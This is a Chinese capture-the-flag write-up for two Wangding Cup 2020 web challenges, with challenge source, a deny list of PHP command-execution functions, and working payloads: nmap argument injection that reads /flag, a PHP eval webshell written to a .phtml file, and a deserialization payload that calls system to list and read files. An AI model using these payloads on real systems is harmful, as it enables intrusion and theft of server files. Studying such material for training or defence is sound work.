網鼎杯2020朱雀組-web

nmap那題就基本命令然後還有一個別的方法。

nmap

源碼

index.php

<?
require('settings.php');


set_time_limit(0);
if (isset($_POST['host'])):
	if (!defined('WEB_SCANS')) {
        	die('Web scans disabled');
	}

	$host = $_POST['host'];
	if(stripos($host,'php')!==false){
		die("Hacker...");
	}
	$host = escapeshellarg($host);
	$host = escapeshellcmd($host);

	$filename = substr(md5(time() . rand(1, 10)), 0, 5);
	$command = "nmap ". NMAP_ARGS . " -oX " . RESULTS_PATH . $filename . " " . $host;
	$result_scan = shell_exec($command);
	if (is_null($result_scan)) {
		die('Something went wrong');
	} else {
		header('Location: result.php?f=' . $filename);
	}
else:
?>

settings.php

<?
# Path where all files stored
# Example values: /home/node/results/
# Or just: xml/
# Must be readble/writable for web server! so chmod 777 xml/
define('RESULTS_PATH', 'xml/');

# Nmap string arguments for web scanning
# Example: -sV -Pn
define('NMAP_ARGS', '-Pn -T4 -F --host-timeout 1000ms');

# Comment this line to disable web scans
define('WEB_SCANS', 'enable');

# URL of application
# for example: http://example.com/scanner/
# Or just: /scanner/
define('APP_URL', '/');

# Secret word to protect webface (reserved)
# Uncomment to set it!
# define('secret_word', 'passw0rd1337');

?>

第一種方法

用的是nmap,提示
一開始以爲是ping命令，後來發現過濾了php。
後來試了下nmap的命令組合成功了。
payload:

' -iL /flag -oN flag.txt '

存入flag.txt之後直接訪問就行了

第二種

PHP-escapeshell-命令執行
因爲過濾了php,可以用phtml繞過，裏面的內容用短標籤

逃逸單引號

host='<?=eval($_GET[a]);?> -oN flag.phtml '

phpweb

利用func=file_get_contents&p=index.php拿到源碼

<?php
$disable_fun = array("exec","shell_exec","system","passthru","proc_open"
    ,"show_source","phpinfo","popen","dl","eval","proc_terminate","touch"
    ,"escapeshellcmd","escapeshellarg","assert","substr_replace"
    ,"call_user_func_array","call_user_func","array_filter", "array_walk"
    ,"array_map","registregister_shutdown_function","register_tick_function"
    ,"filter_var", "filter_var_array", "uasort", "uksort", "array_reduce"
    ,"array_walk","array_walk_recursive","pcntl_exec","fopen","fwrite","file_put_contents");
function gettime($func, $p) {
    $result = call_user_func($func, $p);    //call_user_func — 把第一個參數作爲回調函數調用
    $a= gettype($result);   //返回 PHP 變量的類型 var.
    if ($a == "string") {
        return $result;
    } else {
        return "";
    }
}
class Test {
    var $p = "Y-m-d h:i:s a";
    var $func = "date";
    function __destruct() {
        if ($this->func != "") {
            echo gettime($this->func, $this->p);
        }
    }
}
$func = $_REQUEST["func"];
$p = $_REQUEST["p"];

if ($func != null) {
    $func = strtolower($func);
    if (!in_array($func,$disable_fun)) {
        echo gettime($func, $p);
    }else {
        die("Hacker...");
    }
}
?>

反序列化Test,利用call_user_func函數進行繞過，文件名匹配可以用反序列化繞過

<?php
class Test {
    var $p = "Y-m-d h:i:s a";
    var $func = "date";
    function __destruct() {
        if ($this->func != "") {
            echo gettime($this->func, $this->p);
        }
    }
}

$a = new Test();
$a -> p="ls ../../../../../";
$a -> func = "system";
print_r(urlencode(serialize($a)));

$a = new Test();
$a -> p="cat /tmp/flagoefiu4r93";
#$a -> p="find / -name flag*";
$a -> func = "system";
print_r(urlencode(serialize($a)));

參考

PHP-escapeshell-命令執行